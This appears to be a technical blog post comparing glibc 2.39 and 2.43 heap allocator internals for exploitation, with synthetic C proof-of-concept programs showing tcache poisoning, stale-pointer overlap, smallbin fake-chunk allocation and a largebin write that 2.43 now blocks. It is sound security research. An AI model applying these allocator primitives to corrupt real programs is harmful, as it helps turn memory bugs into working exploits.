Logo
Overview

Heap Exploitation after Ubuntu 26.04: glibc 2.39 to 2.43

July 14, 2026
25 min read

Ubuntu 26.04 replaces glibc 2.39 with glibc 2.43. The package examined here is libc6 2.43-2ubuntu2 (glibc 2.43 release announcement, Ubuntu 26.04 notes, Ubuntu package).

The change affects heap exploit construction at the allocator layer: fastbin disappears, tcache grows and initializes differently, normal-bin checks change, and mmap chunk accounting adopts a new layout. The ptmalloc chunk header, tcache, fastbin, smallbin, unsorted bin, largebin, and top chunk are assumed knowledge. Concrete sizes use x86-64 unless stated otherwise. Ubuntu package revisions and malloc tunables remain part of the target because they can change allocator behavior without changing the upstream minor version.

This is an allocator migration analysis with synthetic programs that stop at controlled allocation, overlap, or a metadata write. It does not claim an application-specific end-to-end exploit. The reported executions used the following x86-64 binaries; ASLR remained fully enabled, and every program was compiled with -std=c11 -O0 -g3 -Wall -Wextra -Werror -Wno-use-after-free.

Ubuntu 26.04 / libc6 2.43-2ubuntu2 / GCC 15.2.0
libc.so.6 Build ID 90ebd03ae9d9f42b23b4eb82fdf70352cf744198
SHA-256 d763925433ff9b757390549e1b20c085f5e6de27ae700fe89194178d96a8a2b0
ld-linux Build ID 98336d13e85bb188b91ad461c67807e02b02e132
SHA-256 223b94a42758f2434da331cc0aa62db1af5b456481762c5caceefa1a2d1eb8fb
Ubuntu 24.04 / libc6 2.39-0ubuntu8.7 / GCC 13.3.0
libc.so.6 Build ID 8e9fd827446c24067541ac5390e6f527fb5947bb
SHA-256 d8db8739a1633c972cec6a4fe0566bdcec6fd088f98723492ab0361f66238f75
ld-linux Build ID da07864eb4c1b06504b8688d25d7e84759fe708d
SHA-256 1cd555ac46b7887edeaf3c42aac5408c8135e52f6b37870da2cf82d5fe14e829

GLIBC_TUNABLES and MALLOC_PERTURB_ were unset for the default-path checks. Only the optional large-tcache program set GLIBC_TUNABLES=glibc.malloc.tcache_max=0x2000. Each reported success or abort condition was checked across 100 executions; addresses in the representative output vary under ASLR.

1. Exploit Model

The allocator occupies the middle of a heap exploit chain.

  1. A memory-safety bug creates an invalid capability: use-after-free, overflow, off-by-null, double free, or metadata overwrite.
  2. An allocator primitive turns that bug into a useful heap state: allocation steering, overlapping chunks, controlled disclosure, or a write.
  3. A target effect applies the capability to application-owned state such as an object type, callback, credential, length, or ownership field.

From a memory-safety bug to an application security effect

glibc can reject malformed chunk state, remove an allocator path, or change when metadata appears. It cannot decide whether an application pointer is stale or whether a field is security-sensitive. An allocator primitive therefore does not imply code execution, while removal of one allocator technique does not repair the underlying UAF or overflow.

2. Allocator Changes from 2.39 to 2.43

glibc 2.42 serves as the midpoint because several exploitation-relevant checks landed before the larger structural changes in 2.43.

Allocator stateglibc 2.39glibc 2.42glibc 2.43
fastbin and deferred consolidationpresentpresentremoved
default tcache depth per size class7716
tcache duplicate verificationmatching binall binsall bins
small result from the normal free pathunsorted-bin stagingdirect smallbindirect smallbin
optional large tcacheabsent12 bins implemented; normally inactive above the default tcache_maxsame, with exact-size retrieval
real tcache metadata initializationmalloc-side initializationmalloc-side initializationlazy; first eligible free can initialize it
mmap chunk accountinglegacy mmap layoutlegacy mmap layoutnormal-chunk-style trailing header

The allocator comparison follows the tagged glibc 2.39 malloc.c and glibc 2.43 malloc.c. The changes landed as separate upstream commits rather than as one security patch. They include direct smallbin placement, the all-bin tcache duplicate scan, an added largebin nextsize integrity check, optional large tcache bins, and the later exact-size large-tcache fix.

Allocator states affecting heap exploitation from glibc 2.39 to 2.43

3. Fastbin Removal and State-Machine Impact

glibc 2.43 removes the fastbin subsystem rather than strengthening its corruption checks.

The upstream series removed malloc_consolidate, removed allocation from fastbin and trim_fastbins, and then removed the remaining state, checks, statistics, and comments (remove malloc_consolidate, remove allocation path, remove infrastructure).

Small free routing before and after fastbin removal

On glibc 2.39, a fastbin-sized free can pass through two LIFO caches. It first tries the thread-local tcache. If that bin is full, the chunk can enter the arena’s fastbin while retaining a deferred-consolidation state. A later malloc_consolidate trigger moves those chunks into the normal-bin machinery.

That second state creates the assumptions behind fastbin duplication, fd corruption, reverse-to-tcache, and consolidation-driven grooming. These techniques differ in details, but they all require a fastbin list to exist.

On glibc 2.43, a tcache-full small free proceeds to arena handling. Neighbor state is checked, adjacent free chunks can be merged immediately, and the final result goes to smallbin, unsorted bin, or top according to its size and adjacency. A small final result has gone directly to smallbin since glibc 2.41; a merged large result can still take the unsorted route.

Changing a safe-linking expression, size constant, or fill loop cannot recover the deleted state. An exploit chain that depends on fastbin duplication requires a different allocator primitive. Consolidation also occurs earlier, so stale interior pointers and boundary tags become relevant immediately after tcache saturation rather than after a separate drain trigger.

mallopt(M_MXFAST, ...) cannot restore the old behavior. The selector remains accepted as a deprecated no-op in the glibc 2.43 allocator source.

4. Tcache Capacity and Integrity Checks

Removing fastbin would otherwise increase arena traffic, so glibc 2.43 changed the default tcache fill count:

#define TCACHE_FILL_COUNT 7
#define TCACHE_FILL_COUNT 16

The upstream change explicitly ties the new default to fastbin removal (tcache count commit). The value is a default, not a universal invariant: glibc.malloc.tcache_count can override it.

The effective count determines when a free stops taking the tcache fast path. Under the default 2.43 configuration, seven same-sized frees do not saturate the bin; the next free still enters tcache instead of reaching consolidation or a normal bin.

The duplicate-free check also changed between the endpoints. In 2.39, a suspicious tcache_entry was searched in the matching bin. Since 2.42, verification walks all tcache bins for the current thread. Changing a freed chunk’s size class no longer hides the same entry merely by moving the lookup to another bin. The upstream regression case is specifically a terminating-null one-byte overflow that changes the freed chunk’s size class; the scan is not a process-wide double-free detector.

The duplicate check is limited to current-thread tcache lists and is triggered by the key marker. It does not prevent an independent UAF write into a legitimately freed entry, and the key does not authenticate the next pointer.

Safe-linking still protects the singly linked tcache list. The stored value is:

stored_next=(address_of_next_field12)desired_next\operatorname{stored\_next} = (\operatorname{address\_of\_next\_field} \gg 12) \oplus \operatorname{desired\_next}
stored_next = (address_of_next_field >> 12) XOR desired_next

The macro is byte-for-byte identical in the glibc 2.39 and 2.43 allocator sources. Fastbin no longer uses it because fastbin is gone, but the tcache relation remains. It prevents a raw pointer overwrite and enforces alignment when a list entry is removed; it is not a pointer MAC. Address knowledge plus a post-free write can still produce a consistent encoded link.

5. Lazy Tcache Initialization and Heap Geometry

Before glibc 2.43, the thread-local tcache pointer began as NULL, and a tcache-aware malloc path allocated the real metadata before returning its user chunk. glibc 2.43 instead begins with a zero-filled inactive dummy. Malloc can read the dummy as an empty cache and continue without placing metadata on the heap. If no intervening allocation initializes the cache while stashing normal-bin chunks, the first eligible free can initialize it instead (lazy-initialization commit).

Relative tcache metadata placement before and after lazy initialization

By glibc 2.42, the structure already has 76 bins: 64 small bins plus 12 optional large bins. The same layout is used in 2.43. On x86-64:

sizeof(tcache_perthread_struct) = 0x2f8
request2size(0x2f8) = 0x300

The first number is the structure payload. The second is the allocator chunk size after header and alignment rules. Treating both as 0x300 hides which offset is being calculated.

The exploitation impact concerns allocation order. When a large overflow source and a small victim are allocated before any eligible tcache free, the real metadata can appear before the victim in 2.42. In 2.43, the victim can appear first, and its initial free can place the 0x300 metadata chunk after it.

If an overlap reaches this metadata, the controlled fields can include num_slots and entries. The first records remaining insertion capacity; the second stores each bin head and therefore determines whether the small-tcache allocation path sees an entry. This is still not a stable ABI or a complete bypass: page position varies, safe-linking still applies to list links, and corrupt metadata can change later free/malloc behavior or cause an invalid access.

The first eligible free must therefore be treated as a heap-layout event. Offsets copied from an eager-initialization layout do not describe this 2.43 allocation order.

6. Tcache Allocation Steering

The following sequence uses two same-sized chunks to expose the initial list state. The second legitimate entry is illustrative rather than required. For a small tcache bin in glibc 2.43, malloc tests whether entries[tc_idx] is non-null; it does not use num_slots as a removal count. Removing poisoned entry B makes the revealed target the new bin head, so the next allocation can consume it. num_slots instead tracks whether later frees may insert more entries.

Tcache allocation steering with a protected next pointer

The sequence is:

A = malloc(n);
B = malloc(n);
free(A);
free(B); // list: B -> A
// UAF write through the dangling B pointer
B->next = protect(&B->next, target);
p1 = malloc(n); // returns B, head becomes target
p2 = malloc(n); // returns target

with:

protect(position, pointer) = ((uintptr_t) position >> 12)
^ (uintptr_t) pointer;

For a normal small tcache entry, B->next begins at the returned user address, but writing the formula in terms of the field address avoids relying on that layout shortcut.

The required memory corruption is a write through a dangling pointer after B has been freed. Encoding the replacement link also requires the address of B->next, which usually comes from a heap disclosure under ASLR. A and B must use the same tcache size class, and no intervening allocation can consume B.

On x86-64, the target must satisfy 16-byte malloc alignment and provide readable and writable storage for a tcache_entry. The second removal reads its next field to update the list and clears its key field. The small-tcache removal path does not validate a normal chunk header at the forged target before returning it, but an unmapped, read-only, or incorrectly aligned address still fails before the application receives a useful pointer. Clearing key also creates an eight-byte-offset write side effect that must be safe for the chosen object.

Under these conditions, the second malloc(n) returns the selected address. Application initialization of the returned object then writes at that address, turning the corrupted list into an allocation-steering primitive.

A raw or incorrectly encoded link reveals to an invalid address, while misalignment triggers malloc(): unaligned tcache chunk detected. A different request size, an unexpected allocation, inaccessible target memory, or replacement of the relevant entries[tc_idx] head breaks the two-step return. The effective tcache count controls insertion by free; it is not a removal-length check. The all-bin duplicate scan detects duplicate frees but does not check whether an independently corrupted next points to a legitimate entry.

7. Consolidation and Overlap

Fastbin removal eliminates fastbin duplication. Overlap construction remains possible through immediate consolidation and a stale pointer into the consolidated region.

Constructing an overlap through immediate consolidation

For an x86-64 example with malloc(0x100) chunks, the corresponding chunk size is 0x110.

1. Allocate 16 fill chunks, then previous, victim, and a guard.
2. Free the 16 fill chunks so the default tcache bin is full.
3. Free victim. The 0x110 result reaches the arena path and smallbin.
4. Free previous. The allocator unlinks victim and consolidates both chunks.
5. Allocate one 0x100 object to open a tcache slot.
6. Free the stale victim pointer, which now points inside the consolidated chunk.
7. Allocate the `0x220` combined chunk with `malloc(0x210)`, then allocate the `0x110` interior entry with `malloc(0x100)`.

The final two allocations describe the same physical bytes through two live allocation views. A write through the larger allocation can modify the interior tcache entry or the object later returned from it.

Reaching this state requires a stale-pointer free after the victim has already been absorbed into another free chunk, usually through a double-free or ownership bug. The fill count must match the effective tcache_count; previous and victim must be adjacent; the guard must prevent forward consolidation with top; and the old interior header must remain plausible when the stale pointer is freed. The overlap becomes a disclosure or write primitive when one allocation covers the other’s object data or allocator metadata.

If victim enters tcache at step 3, no arena consolidation occurs. Changes to adjacency, size fields, PREV_INUSE, or the guard alter the merge or cause an abort, while an intervening allocation can remove victim from smallbin or reuse the consolidated chunk. The all-bin tcache duplicate scan does not stop this sequence because victim is not a live tcache entry when it is absorbed; the stale free introduces the interior pointer only after a tcache slot has been opened.

The following program implements that sequence on the tested 2.43 package. The highlighted lines establish adjacency, force both frees through the arena path, introduce the stale interior entry only after opening a tcache slot, and verify a cross-write between the two live allocations.

stale_interior_overlap_243.c
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
enum {
REQUEST_SIZE = 0x100,
CHUNK_SIZE = 0x110,
COMBINED_REQUEST_SIZE = 0x210,
TCACHE_COUNT_243 = 16,
};
int
main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
void *fillers[TCACHE_COUNT_243];
for (size_t i = 0; i < TCACHE_COUNT_243; ++i) {
fillers[i] = malloc(REQUEST_SIZE);
assert(fillers[i] != NULL);
}
unsigned char *previous = malloc(REQUEST_SIZE);
unsigned char *victim = malloc(REQUEST_SIZE);
void *guard = malloc(0x20);
assert(previous != NULL);
assert(victim != NULL);
assert(guard != NULL);
assert((uintptr_t)victim - (uintptr_t)previous == CHUNK_SIZE);
for (size_t i = 0; i < TCACHE_COUNT_243; ++i)
free(fillers[i]);
free(victim);
free(previous);
fillers[0] = malloc(REQUEST_SIZE);
assert(fillers[0] != NULL);
/* Stale-pointer free after victim has been absorbed into previous. */
free(victim);
unsigned char *combined = malloc(COMBINED_REQUEST_SIZE);
unsigned char *interior = malloc(REQUEST_SIZE);
assert(combined == previous);
assert(interior == victim);
const uintptr_t delta = (uintptr_t)interior - (uintptr_t)combined;
assert(delta == CHUNK_SIZE);
combined[CHUNK_SIZE] = 0x5a;
assert(interior[0] == 0x5a);
printf("stale_overlap_combined=%p\n", (void *)combined);
printf("stale_overlap_interior=%p\n", (void *)interior);
printf("stale_overlap_delta=%#lx\n", (unsigned long)delta);
puts("stale_overlap_cross_write=1");
return 0;
}

A representative run produced:

stale_overlap_combined=0x598703c73110
stale_overlap_interior=0x598703c73220
stale_overlap_delta=0x110
stale_overlap_cross_write=1

The 0x110 delta places the interior allocation at the absorbed victim, and the final assertion confirms that a write through the combined allocation changes that live interior object.

Off-by-null and backward consolidation

An off-by-null is a different route to the same intermediate goal. On little-endian targets, a null written into the low byte of the next chunk’s size may clear PREV_INUSE. A later free can then interpret prev_size as the distance to a previous free chunk and attempt backward consolidation.

Clearing one bit is not sufficient. The allocator checks that the computed previous size reaches the expected boundary, that chunksize(p) agrees with the following prev_size, and that an unlinked normal-bin node has consistent reverse links:

fd->bk == p
bk->fd == p

A one-byte overflow or stronger header overwrite must reach the next chunk’s size and, directly or indirectly, its prev_size and fake free-chunk links. The original low byte must make the null useful, the chunks must be adjacent, the computed previous chunk must be aligned and remain inside the arena, and the boundary-tag and link relations must agree. Successful backward consolidation can then create an overlap or make a later allocation cover a still-referenced object.

A size disagreement produces errors such as corrupted size vs. prev_size; inconsistent fd/bk relations fail safe-unlink checks. The route remains conditional in 2.43 because the boundary-tag mechanism remains together with its consistency checks.

8. Normal Bins, Large Tcache, mmap, and Top

The allocator paths that remain after fastbin removal require different corruption capabilities and fail at different integrity checks.

Routeglibc 2.43 behaviorRequired bug or heap stateResulting stateMain constraint
fastbin duplication or fd corruptionremovedfastbin-resident free chunknoneno fastbin branch or malloc_consolidate
small tcache link corruptionsource path retained, default depth 16post-free link write and address knowledgecontrolled allocationsafe-linking, alignment, bin-head state, target access
stale-interior free after consolidationreproduced on 2.43-2ubuntu2stale-pointer free after victim absorptionoverlaptcache capacity, adjacency, stale-header plausibility, allocation order
boundary-tag corruptionretained under valid boundary relationssize or prev_size corruptionoverlapsize agreement, adjacency, unlink checks
smallbin metadata and stashingreproduced on 2.43-2ubuntu2post-free victim bk write and fake-node chaincontrolled allocation from a fake nodereverse-link consistency, tcache capacity, alignment, writable extent
classic largebin smaller-than-smallest writereproduced differentialpost-free bk_nextsize overwritetarget write on 2.39; pre-write abort on 2.43added nextsize reverse-link check
other largebin metadata corruptionintegrity paths remain but are checkedcontrol of fd, bk, and nextsize statedepends on a self-consistent forged metadata graphfd/bk and nextsize integrity checks
optional large tcachereproduced with raised tcache_max; disabled for these sizes by defaultpost-free link write and exact-size fake headercontrolled allocationsafe-linking, exact-size match, readable and writable target
mmap chunk geometrysource-level candidate; no remap PoCmapped-chunk size or prev_size overwritewider unmap span is possible; stale alias requires a later remappage alignment, mapping adjacency, threshold and kernel placement
top/sysmalloc remaindersource transition onlytop-size OOB and predictable page geometryold top enters arena-bin handling through _int_free_chunktop-size checks, fenceposts, page alignment, later reuse state

Smallbin and largebin remain doubly linked and checked. Large tcache remains inactive for the sizes discussed below unless glibc.malloc.tcache_max is raised, and every route still depends on an application bug capable of creating the required metadata state.

Smallbin metadata and tcache stashing

The glibc 2.43 smallbin removal path checks that victim->bk->fd leads back to the selected victim. After removing that victim, it can move additional same-sized smallbin nodes into tcache until the effective capacity is exhausted. The PoC below applies this transition to a fake-node chain.

Smallbin metadata allocation route

For a malloc(0x100) request on x86-64, the real chunk size is 0x110. The sequence fills the default 16-entry tcache bin, frees a real victim to smallbin, and then applies a post-free write:

victim->bk = fake[0]
fake[0].fd = victim

After the 16 real tcache entries are allocated back out, the next malloc(0x100) removes the real victim. The smallbin stashing loop then moves fake[0] through fake[15] into tcache. fake[16] is a terminal node that remains in smallbin state long enough to receive the final fd update. Because the last stashed node becomes the tcache head, the following malloc(0x100) returns the user area at fake[15] + 0x10.

This requires a post-free write to the real victim’s bk pointer and a fake chain whose first fd points back to the victim. The effective tcache capacity must match the grooming count, and every stashed node must satisfy malloc alignment. On x86-64, the allocator sets the in-use bit at the fake chunk boundary, so each fake node must provide writable memory through offset 0x118; the returned entry also needs a readable next field and writable key storage.

The returned pointer equals the user area of fake[15], and a write through that allocation changes the fake object. The result is controlled allocation under this layout, not a general smallbin unlink write. An incorrect reverse link fails the smallbin consistency check, while too few fake nodes, a mismatched tcache count, insufficient writable extent, misalignment, or an intervening same-sized allocation breaks the stashing sequence or causes an abort.

The highlighted ranges define the writable fake-node extent, apply the post-free bk overwrite, and check the returned fake address and cross-write.

smallbin_metadata_243.c
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
enum {
REQUEST_SIZE = 0x100,
CHUNK_HEADER_SIZE = 0x10,
TCACHE_COUNT_243 = 16,
FAKE_NODE_COUNT = TCACHE_COUNT_243 + 1,
FAKE_NODE_EXTENT = 0x120,
};
struct fake_chunk {
size_t prev_size;
size_t size;
struct fake_chunk *fd;
struct fake_chunk *bk;
unsigned char padding[FAKE_NODE_EXTENT - 4 * sizeof(size_t)];
} __attribute__((aligned(16)));
_Static_assert(sizeof(struct fake_chunk) == FAKE_NODE_EXTENT,
"fake chunk must contain the in-use-bit write at +0x118");
_Static_assert(_Alignof(struct fake_chunk) == 16,
"fake chunks must satisfy malloc alignment");
static struct fake_chunk *
mem_to_chunk(void *memory)
{
return (struct fake_chunk *)((unsigned char *)memory - CHUNK_HEADER_SIZE);
}
static void *
chunk_to_mem(struct fake_chunk *chunk)
{
return (unsigned char *)chunk + CHUNK_HEADER_SIZE;
}
int
main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
struct fake_chunk fake[FAKE_NODE_COUNT];
memset(fake, 0, sizeof(fake));
for (size_t i = 0; i < TCACHE_COUNT_243; ++i)
fake[i].bk = &fake[i + 1];
void *victim = malloc(REQUEST_SIZE);
assert(victim != NULL);
void *fillers[TCACHE_COUNT_243];
for (size_t i = 0; i < TCACHE_COUNT_243; ++i) {
fillers[i] = malloc(REQUEST_SIZE);
assert(fillers[i] != NULL);
}
void *guard = malloc(0x20);
assert(guard != NULL);
for (size_t i = 0; i < TCACHE_COUNT_243; ++i)
free(fillers[i]);
free(victim);
struct fake_chunk *victim_chunk = mem_to_chunk(victim);
fake[0].fd = victim_chunk;
/* Simulated post-free metadata overwrite: victim->bk = fake[0]. */
victim_chunk->bk = &fake[0];
for (size_t i = 0; i < TCACHE_COUNT_243; ++i) {
fillers[i] = malloc(REQUEST_SIZE);
assert(fillers[i] != NULL);
}
void *returned_victim = malloc(REQUEST_SIZE);
assert(returned_victim == victim);
void *expected_fake = chunk_to_mem(&fake[TCACHE_COUNT_243 - 1]);
void *returned_fake = malloc(REQUEST_SIZE);
assert(returned_fake == expected_fake);
uintptr_t *returned_words = returned_fake;
const uintptr_t marker = UINT64_C(0x534d414c4c42494e);
returned_words[2] = marker;
uintptr_t *fake_marker =
(uintptr_t *)((unsigned char *)&fake[TCACHE_COUNT_243 - 1] + 0x20);
assert(*fake_marker == marker);
printf("smallbin_victim=%p\n", returned_victim);
printf("smallbin_fake=%p\n", returned_fake);
puts("smallbin_fake_allocation=1");
return 0;
}

A representative run produced:

smallbin_victim=0x55574bfd3010
smallbin_fake=0x7ffdc6590370
smallbin_fake_allocation=1

The final token is emitted only after pointer equality and cross-write assertions have succeeded.

Largebin nextsize: 2.39 write and 2.43 abort

The comparison uses the same source and corruption on both versions. malloc(0x428) produces a 0x430 chunk that is first placed in largebin, while malloc(0x418) produces a smaller 0x420 chunk that remains in unsorted. The existing node’s bk_nextsize is then redirected so that its fd_nextsize field overlaps a target word. The malloc(0x438) sorting trigger produces a separate 0x440 chunk.

Classic largebin write on glibc 2.39 and nextsize abort on glibc 2.43

On glibc 2.39, inserting the smaller chunk follows the legacy smaller-than-smallest path and writes the smaller chunk header address through the corrupted bk_nextsize. The target word contains that address after insertion.

Since glibc 2.42, insertion first requires the reverse relation represented by:

fwd->fd->bk_nextsize->fd_nextsize == fwd->fd

The forged node used by the legacy write does not satisfy that relation. On glibc 2.43, the same insertion terminates with malloc(): largebin double linked list corrupted (nextsize) before the target changes. The classic smaller-than-smallest metadata write therefore does not carry over to this 2.43 path. This does not rule out every corruption involving a largebin node; routes that forge a different set of consistent metadata relations remain target-specific.

The highlighted ranges construct the two large chunks, place the first in largebin, corrupt bk_nextsize, and trigger the version-dependent insertion.

largebin_nextsize_diff.c
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
enum {
LARGER_REQUEST = 0x428,
SMALLER_REQUEST = 0x418,
SORT_TRIGGER_REQUEST = 0x438,
LARGER_CHUNK_SIZE = 0x430,
SMALLER_CHUNK_SIZE = 0x420,
SORT_TRIGGER_CHUNK_SIZE = 0x440,
};
static size_t
allocator_chunk_size(const void *memory)
{
const size_t *words = memory;
return words[-1] & ~(size_t)0x7;
}
int
main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
volatile size_t target = 0;
size_t *larger = malloc(LARGER_REQUEST);
void *larger_guard = malloc(0x18);
size_t *smaller = malloc(SMALLER_REQUEST);
void *smaller_guard = malloc(0x18);
assert(larger != NULL);
assert(larger_guard != NULL);
assert(smaller != NULL);
assert(smaller_guard != NULL);
const size_t larger_size = allocator_chunk_size(larger);
const size_t smaller_size = allocator_chunk_size(smaller);
assert(larger_size == LARGER_CHUNK_SIZE);
assert(smaller_size == SMALLER_CHUNK_SIZE);
const uintptr_t larger_chunk = (uintptr_t)(larger - 2);
const uintptr_t smaller_chunk = (uintptr_t)(smaller - 2);
free(larger);
void *first_sort_trigger = malloc(SORT_TRIGGER_REQUEST);
assert(first_sort_trigger != NULL);
const size_t trigger_size = allocator_chunk_size(first_sort_trigger);
assert(trigger_size == SORT_TRIGGER_CHUNK_SIZE);
free(smaller);
/*
* Simulated UAF: point larger->bk_nextsize at a fake chunk whose
* fd_nextsize field overlaps target.
*/
larger[3] = (size_t)((uintptr_t)&target - 4 * sizeof(size_t));
printf("largebin_larger_chunk=%p\n", (void *)larger_chunk);
printf("largebin_smaller_chunk=%p\n", (void *)smaller_chunk);
printf("largebin_larger_size=%#zx\n", larger_size);
printf("largebin_smaller_size=%#zx\n", smaller_size);
printf("largebin_trigger_size=%#zx\n", trigger_size);
puts("largebin_trigger_insert=1");
void *second_sort_trigger = malloc(SORT_TRIGGER_REQUEST);
assert(second_sort_trigger != NULL);
/* Reached on 2.39; the 2.43 nextsize check aborts before this point. */
assert(target == smaller_chunk);
printf("largebin_target=%p\n", (void *)(uintptr_t)target);
puts("largebin_legacy_write=1");
return 0;
}

The pinned Ubuntu 24.04/glibc 2.39 run completed the legacy write:

largebin_larger_chunk=0x6548a82a7290
largebin_smaller_chunk=0x6548a82a76e0
largebin_larger_size=0x430
largebin_smaller_size=0x420
largebin_trigger_size=0x440
largebin_trigger_insert=1
largebin_target=0x6548a82a76e0
largebin_legacy_write=1

The same source on Ubuntu 26.04/glibc 2.43 stopped before the target assertion:

largebin_larger_chunk=0x5b9da27f3000
largebin_smaller_chunk=0x5b9da27f3450
largebin_larger_size=0x430
largebin_smaller_size=0x420
largebin_trigger_size=0x440
largebin_trigger_insert=1
malloc(): largebin double linked list corrupted (nextsize)
process_status=134

The runner requires the diagnostic and SIGABRT-derived status 134, and rejects any 2.43 log containing largebin_legacy_write=1.

Optional large tcache and exact-size poisoning

Large tcache is implemented through 12 logarithmic bins but remains inactive for large requests under the default tcache_max. The PoC below raises the limit to 0x2000 before process initialization and exercises both the 2.43 exact-size rule and link poisoning.

Optional large tcache exact-size retrieval and protected-link poisoning

First, chunks of size 0x510 and 0x590 are cached in the same logarithmic bin. A request producing chunk size 0x550 reaches the 0x590 entry during the ordered search, but 2.43 rejects it because the size is not exact. A later exact 0x590 request returns the retained entry.

The poisoning phase frees two chunks of size 0x910 and replaces the head entry’s protected next with an aligned fake target. Unlike the small-tcache forged target in Section 6, a large-tcache target is examined by tcache_get_large before removal. The fake entry therefore places 0x911 in the preceding size field, stores a protected null link in its next, and provides writable key storage. The first malloc(0x900) returns the real head; the second returns the fake target and clears its key.

A post-free write controls the protected link of a cached large entry, while the aligned target provides readable and writable memory for the forged entry. The second malloc(0x900) returns that target and clears its key, producing controlled allocation only under the raised tcache_max configuration. Without the raised limit, the chunks use arena or mmap handling instead. An incorrect safe-link value, missing exact-size header, inaccessible next or key, misalignment, or a request mapped to another logarithmic bin prevents the forged return.

The highlighted ranges define the relevant chunk sizes, retain the exact-size entry, prepare the forged large entry, and redirect the protected tcache link.

large_tcache_243.c
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
enum {
SMALL_CACHED_REQUEST = 0x500,
LARGER_CACHED_REQUEST = 0x580,
MISMATCHED_REQUEST = 0x540,
POISON_REQUEST = 0x900,
POISON_CHUNK_SIZE = 0x910,
};
struct fake_large_entry {
size_t prev_size;
size_t size;
uintptr_t next;
uintptr_t key;
uintptr_t marker;
unsigned char padding[POISON_CHUNK_SIZE - 5 * sizeof(size_t)];
} __attribute__((aligned(16)));
_Static_assert(offsetof(struct fake_large_entry, next) == 0x10,
"fake user area must start after the chunk header");
_Static_assert(sizeof(struct fake_large_entry) == POISON_CHUNK_SIZE,
"the nominal fake chunk extent must be backed by memory");
_Static_assert(_Alignof(struct fake_large_entry) == 16,
"fake large entry must satisfy malloc alignment");
static uintptr_t
protect_pointer(const void *position, const void *pointer)
{
return ((uintptr_t)position >> 12) ^ (uintptr_t)pointer;
}
int
main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
/*
* 0x510 and 0x590 chunks share one logarithmic large-tcache bin.
* A 0x550 request must not consume the larger 0x590 entry on 2.43.
*/
void *small_cached = malloc(SMALL_CACHED_REQUEST);
void *larger_cached = malloc(LARGER_CACHED_REQUEST);
assert(small_cached != NULL);
assert(larger_cached != NULL);
free(small_cached);
free(larger_cached);
void *mismatched = malloc(MISMATCHED_REQUEST);
assert(mismatched != NULL);
assert(mismatched != small_cached);
assert(mismatched != larger_cached);
void *exact = malloc(LARGER_CACHED_REQUEST);
assert(exact == larger_cached);
puts("large_tcache_exact_size=1");
struct fake_large_entry fake = {
.prev_size = 0,
.size = POISON_CHUNK_SIZE | 1,
.next = 0,
.key = UINT64_C(0x4b45594b45594b45),
.marker = 0,
};
void *fake_memory = &fake.next;
assert(((uintptr_t)fake_memory & 0xf) == 0);
fake.next = protect_pointer(&fake.next, NULL);
uintptr_t *first = malloc(POISON_REQUEST);
uintptr_t *head = malloc(POISON_REQUEST);
assert(first != NULL);
assert(head != NULL);
free(first);
free(head);
/* Simulated UAF: replace the protected link at the tcache head. */
head[0] = protect_pointer(&head[0], fake_memory);
void *returned_head = malloc(POISON_REQUEST);
assert(returned_head == head);
uintptr_t *returned_fake = malloc(POISON_REQUEST);
assert(returned_fake == fake_memory);
assert(fake.key == 0);
const uintptr_t marker = UINT64_C(0x4c41524745544348);
returned_fake[2] = marker;
assert(fake.marker == marker);
printf("large_tcache_head=%p\n", returned_head);
printf("large_tcache_fake=%p\n", (void *)returned_fake);
puts("large_tcache_fake_allocation=1");
return 0;
}

With glibc.malloc.tcache_max=0x2000, a representative run produced:

large_tcache_exact_size=1
large_tcache_head=0x645d9c24dc10
large_tcache_fake=0x7ffe42891610
large_tcache_fake_allocation=1

The two stable result tokens are printed only after the exact-size retention, fake-pointer equality, cleared-key, and cross-write assertions have succeeded.

mmap accounting

glibc 2.43 changed an mmap chunk to use the same layout contract as a normal chunk. The old total was:

total=prev_size(p)+chunksize(p)\operatorname{total} = \operatorname{prev\_size}(p) + \operatorname{chunksize}(p)

The new helper adds a trailing header:

mmap_size(p)=prev_size(p)+chunksize(p)+CHUNK_HDR_SZ\operatorname{mmap\_size}(p) = \operatorname{prev\_size}(p) + \operatorname{chunksize}(p) + \operatorname{CHUNK\_HDR\_SZ}

mmap chunk size accounting before and after glibc 2.43

On x86-64, CHUNK_HDR_SZ is 0x10. A forged mapping span copied from the legacy layout is therefore short by 0x10 in the corresponding calculation. This is not a universal magic constant: it follows from the architecture’s header size and the exact forged expression. The source change was made so mmap chunks can obey normal-chunk accounting and safely participate when large tcache is configured (mmap layout commit).

mmap geometry differs from an ordinary freed-heap UAF. A corrupted mapping size that still satisfies the page-alignment checks can make munmap release a wider span. The old pointer is then inaccessible, and it aliases a new object only if a later mapping covers that address. This report does not demonstrate that remapping sequence. It identifies the changed size calculation and the conditions a separate stale-alias PoC would have to control: mapping adjacency, the adaptive mmap threshold, ASLR, kernel placement, and remapping order.

Old-top remainder and arena-bin entry

The top chunk and sysmalloc still exist. A top-size overwrite can force a larger allocation to request a new heap region while the old top remainder is converted into a free chunk. In glibc 2.43, sysmalloc passes that remainder to _int_free_chunk; it does not enter through __libc_free and therefore does not take the tcache-first path. Depending on its size and neighbors, the remainder initially reaches smallbin, unsorted bin, or top handling.

Later tcache involvement would require an additional state transition, such as smallbin stashing during a matching allocation or an application-visible allocation followed by free. The old-top transition alone therefore constructs an arena free chunk, not controlled allocation. Turning it into a primitive still requires a stronger OOB capability, predictable top and page geometry, valid fenceposts, an exact remainder size, and a demonstrated reuse sequence; no standalone top-derived PoC is claimed here.

9. Exploitation Impact

The allocator state determines which capability is available to the application exploit.

  • Controlled allocation means malloc(n) returns an address selected under stated alignment and accessibility constraints.
  • Overlap means two live allocation views cover some of the same bytes.
  • Disclosure means one view can read a pointer or data owned by another object.
  • Write primitive states the width, offset, repeatability, and side effects of the write.

A controlled allocation can place a newly initialized object over an application callback, object type, length, credential, or dispatch field. An overlap can expose an address needed for safe-linking and then modify another object. A data-only target may remain useful even when control-flow integrity prevents redirecting an indirect call.

